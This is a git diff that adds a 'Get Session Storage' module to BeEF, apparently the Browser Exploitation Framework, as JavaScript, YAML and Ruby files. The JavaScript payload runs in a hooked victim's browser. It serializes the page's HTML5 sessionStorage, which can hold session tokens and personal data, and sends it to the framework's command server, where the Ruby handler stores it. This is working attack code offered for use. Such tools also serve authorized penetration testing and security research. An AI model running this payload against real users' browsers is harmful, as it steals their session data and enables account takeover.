diff --git a/modules/browser/extract_session_storage/command.js b/modules/browser/extract_session_storage/command.js
new file mode 100644
index 000000000..dc88f7744
--- /dev/null
+++ b/modules/browser/extract_session_storage/command.js
@@ -0,0 +1,20 @@
+//
+//   Copyright 2011 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+	if ('sessionStorage' in window && window['sessionStorage'] !== null) {
+		beef.net.send("<%= @command_url %>", <%= @command_id %>, "sessionStorage="+JSON.stringify(window['sessionStorage']));
+	} else beef.net.send("<%= @command_url %>", <%= @command_id %>, "sessionStorage="+JSON.stringify("HTML5 sessionStorage is null or not supported."));
+});
diff --git a/modules/browser/extract_session_storage/config.yaml b/modules/browser/extract_session_storage/config.yaml
new file mode 100644
index 000000000..4982ad662
--- /dev/null
+++ b/modules/browser/extract_session_storage/config.yaml
@@ -0,0 +1,25 @@
+#
+#   Copyright 2011 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        extract_session_storage:
+            enable: true
+            category: "Browser"
+            name: "Get Session Storage"
+            description: "Extracts data from the HTML5 sessionStorage object."
+            authors: ["bcoles"]
+            target:
+                working: ["FF", "S", "O", "C", "IE"]
diff --git a/modules/browser/extract_session_storage/module.rb b/modules/browser/extract_session_storage/module.rb
new file mode 100644
index 000000000..2f67ad369
--- /dev/null
+++ b/modules/browser/extract_session_storage/module.rb
@@ -0,0 +1,29 @@
+#
+#   Copyright 2011 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Extract_session_storage < BeEF::Core::Command
+  
+  # More info:
+  #   http://dev.w3.org/html5/webstorage/
+  #   http://diveintohtml5.org/storage.html
+  #
+  
+  def post_execute
+    content = {}
+    content['sessionStorage'] = @datastore['sessionStorage']
+    save content
+  end
+  
+end